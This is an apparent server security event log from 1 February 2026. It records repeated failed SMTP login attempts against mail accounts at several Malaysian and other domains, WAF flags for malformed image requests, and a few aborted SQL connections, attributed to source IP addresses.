country_id: 2921044
description:
2026-02-01 15:47:21 dovecot_login authenticator failed for H=(oHgJDBZ2) [158.94.208.175]:62205: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.241.153.120
country_id: 1643084
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/gakki/images/banner3.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.209.100.132
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/gakki/images/banner1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:47:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57886: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.55.253.114
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/gakki/images/logo-(3).png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.243.178.22
country_id: 2589581
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/gakki/images/logo.png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:47:32 dovecot_login authenticator failed for H=(wxpwjSuLrm) [178.16.54.22]:51934: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.26
country_id: 1269750
description:
2026-02-01 15:47:08 dovecot_login authenticator failed for H=(nsg-corporate-247.223.187.122.airtel.in) [122.186.202.26]:49738: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.166.224.40
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/gakki/images/banner4.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:47:20 dovecot_login authenticator failed for H=(sLK0BTRmt) [158.94.208.175]:65101: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.137.54.90
country_id: 1269750
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/gakki/images/banner2.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:47:11 dovecot_login authenticator failed for H=(Ix41rsQMf) [178.16.52.139]:64016: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 15:48:02 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:26614: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:48:07 dovecot_login authenticator failed for H=(p8AQoIPKD) [178.16.52.139]:52701: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:48:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62401: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:48:03 dovecot_login authenticator failed for H=(rkAhRLTU) [178.16.54.22]:60510: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.98
country_id: 1814991
description:
2026-02-01 15:48:55 dovecot_login authenticator failed for H=([1.30.20.98]) [1.30.20.98]:42944: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:48:14 dovecot_login authenticator failed for H=(473fmoY) [158.94.208.175]:57507: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:48:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:60552: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:49:19 dovecot_login authenticator failed for H=(13rd1efr) [178.16.54.22]:56369: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:49:21 dovecot_login authenticator failed for H=(BZRp0dW) [178.16.52.139]:55491: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:49:23 dovecot_login authenticator failed for H=(UXvUwWcu) [158.94.208.175]:61260: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.193.112.85
country_id: 6252001
description:
2026-02-01 15:49:30 dovecot_plain authenticator failed for H=c-98-193-112-85.hsd1.il.comcast.net (thcala) [98.193.112.85]:45730: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.148.194
country_id: 99237
description:
2026-02-01 15:49:34 dovecot_plain authenticator failed for H=(sumbria) [65.20.148.194]:44255: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:49:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62090: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:50:22 dovecot_login authenticator failed for H=(aJVGKq1d) [178.16.52.139]:52457: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-02-01 15:50:24 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:34024: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.169.210.16
country_id: 2017370
description:
2026-02-01 15:50:32 dovecot_plain authenticator failed for H=(t1dxtdxq9brdj6sgwuxsxhvc8g74be7) [136.169.210.16]:50800: 535 Incorrect authentication data (set_id=2095intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:50:08 dovecot_login authenticator failed for H=(HhwXeScLM) [158.94.208.175]:54389: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:50:19 dovecot_login authenticator failed for H=(9wip7gE3zq) [178.16.54.22]:51460: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-02-01 15:50:40 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:55216: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:50:02 dovecot_login authenticator failed for H=(O9Lc2VV) [178.16.52.139]:54866: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:50:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51733: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:50:27 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53084: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 15:51:21 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:55944: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:51:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57110: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 15:51:08 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:38951: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:51:13 dovecot_login authenticator failed for H=(Hv4bAe9vc) [158.94.208.175]:61758: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:51:03 dovecot_login authenticator failed for H=(FgrcTncdYF) [178.16.52.139]:49634: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:51:16 dovecot_login authenticator failed for H=(Q2sCWiU) [178.16.54.22]:54937: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:52:07 dovecot_login authenticator failed for H=(TpMfzOWYfv) [178.16.52.139]:55201: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:52:18 dovecot_login authenticator failed for H=(2fprfbhC) [158.94.208.175]:64154: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 15:52:29 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:35976: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:52:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62869: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:52:06 dovecot_login authenticator failed for H=(8CukVg0K) [178.16.54.22]:58390: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.146
country_id: 1819730
description:
2026-02-01 15:52:17 dovecot_login authenticator failed for H=(223-197-145-146.static.imsbiz.com) [223.197.145.146]:59852: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:52:35 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53424: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:53:22 dovecot_login authenticator failed for H=(7V34g7qqp) [158.94.208.175]:58878: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:53:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62772: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:53:30 dovecot_login authenticator failed for H=(pSPVvR) [178.16.54.22]:60244: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:53:32 dovecot_login authenticator failed for H=(htlz8LqDFo) [178.16.52.139]:57827: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-02-01 15:53:29 dovecot_login authenticator failed for H=(173-25-186-130.client.mchsi.com) [173.25.186.130]:52889: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:53:06 dovecot_login authenticator failed for H=(rkG7wuX) [178.16.52.139]:57698: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:54:08 dovecot_login authenticator failed for H=(66XPWxfN2) [158.94.208.175]:59153: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.162
country_id: 1269750
description:
2026-02-01 15:54:59 dovecot_login authenticator failed for H=(nsg-corporate-162.230.187.122.airtel.in) [122.187.230.162]:51842: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:54:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52537: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:54:44 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41398: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:54:04 dovecot_login authenticator failed for H=(SMnSwpMaV) [178.16.54.22]:56684: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:54:07 dovecot_login authenticator failed for H=(PE9sfqu21O) [178.16.52.139]:61724: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.93.159.90
country_id: 1269750
description:
2026-02-01 15:54:18 dovecot_login authenticator failed for H=([59.93.159.90]) [59.93.159.90]:44767: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:55:09 dovecot_login authenticator failed for H=(5KQ2NGy) [178.16.54.22]:50938: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:55:26 dovecot_login authenticator failed for H=(St0vrEsZn) [158.94.208.175]:61685: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 15:55:13 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:50214: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 15:55:26 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:35911: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:55:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62923: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:55:12 dovecot_login authenticator failed for H=(B3h7ApSvql) [178.16.52.139]:64522: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 15:56:44 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:60911: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:56:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42006: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:56:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52126: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:56:20 dovecot_login authenticator failed for H=(S4wm8XI) [178.16.54.22]:55485: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.166
country_id: 2750405
description:
2026-02-01 15:56:36 230321 [Warning] Aborted connection 230321 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.166' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.100.159.2
country_id: 1835841
description:
2026-02-01 15:56:36 dovecot_login authenticator failed for H=([222.100.159.2]) [222.100.159.2]:47037: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:56:43 dovecot_login authenticator failed for H=(SGObIacQuJ) [178.16.52.139]:50107: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.1.74
country_id: 6252001
description:
2026-02-01 15:56:52 dovecot_login authenticator failed for H=([70.120.1.74]) [70.120.1.74]:52454: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:56:15 dovecot_login authenticator failed for H=(3pIhDof) [158.94.208.175]:61022: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:56:16 dovecot_login authenticator failed for H=(S7OroPdPc1) [178.16.52.139]:64835: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 15:56:21 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:46628: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.182
country_id: 2635167
description:
2026-02-01 15:57:04 230332 [Warning] Aborted connection 230332 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.182' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 15:57:16 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:58103: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:57:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65147: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-02-01 15:57:58 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:28994: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:57:17 dovecot_login authenticator failed for H=(ElW3mtiHMd) [158.94.208.175]:57900: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-02-01 15:58:01 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:35420: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 15:57:08 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:33559: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:57:09 dovecot_login authenticator failed for H=(u14RPGgYj) [178.16.52.139]:52219: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 15:57:18 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:45518: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 15:57:07 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:58251: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:57:12 dovecot_login authenticator failed for H=(Kbysrl) [178.16.54.22]:60104: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-02-01 15:58:11 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com (173-248-234-145.static.imsbiz.com) [69.172.79.198]:63991: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 15:58:15 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:47069: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:58:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54614: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.165
country_id: 1835841
description:
2026-02-01 15:58:23 dovecot_login authenticator failed for H=([121.142.146.166]) [121.142.146.165]:33369: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 15:58:08 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:34140: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:58:14 dovecot_login authenticator failed for H=(MVoRxV6Qj) [178.16.52.139]:60827: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:58:49 dovecot_login authenticator failed for H=(7A108yT4) [178.16.54.22]:52228: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:58:15 dovecot_login authenticator failed for H=(TSx86wgSsO) [158.94.208.175]:63585: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 15:59:03 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53746: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 15:59:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60572: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 15:59:06 dovecot_login authenticator failed for H=(hyTVme8FPk) [158.94.208.175]:65302: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 15:59:07 dovecot_login authenticator failed for H=(x6XVfs) [178.16.54.22]:50459: 535 Incorrect authentication data (set_id=jon@essemgroup.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.166
country_id: 2750405
description:
2026-02-01 15:59:14 230393 [Warning] Aborted connection 230393 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.166' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 15:59:18 dovecot_login authenticator failed for H=(PoeoD7Z) [178.16.52.139]:51856: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:00:06 dovecot_login authenticator failed for H=(3118QuhxC) [158.94.208.175]:59016: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 16:00:07 dovecot_login authenticator failed for H=(tbfyrFR8c8) [178.16.52.139]:59536: 535 Incorrect authentication data (set_id=jaya@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 16:00:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49894: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 16:00:23 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:44599: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 16:00:32 dovecot_login authenticator failed for H=(3A58rKB) [178.16.54.22]:55256: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 16:00:49 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:51248: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 16:00:55 dovecot_login authenticator failed for H=(uUIhjbV) [158.94.208.175]:50983: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.166
country_id: 2750405
description:
2026-02-01 16:01:23 230449 [Warning] Aborted connection 230449 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.166' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
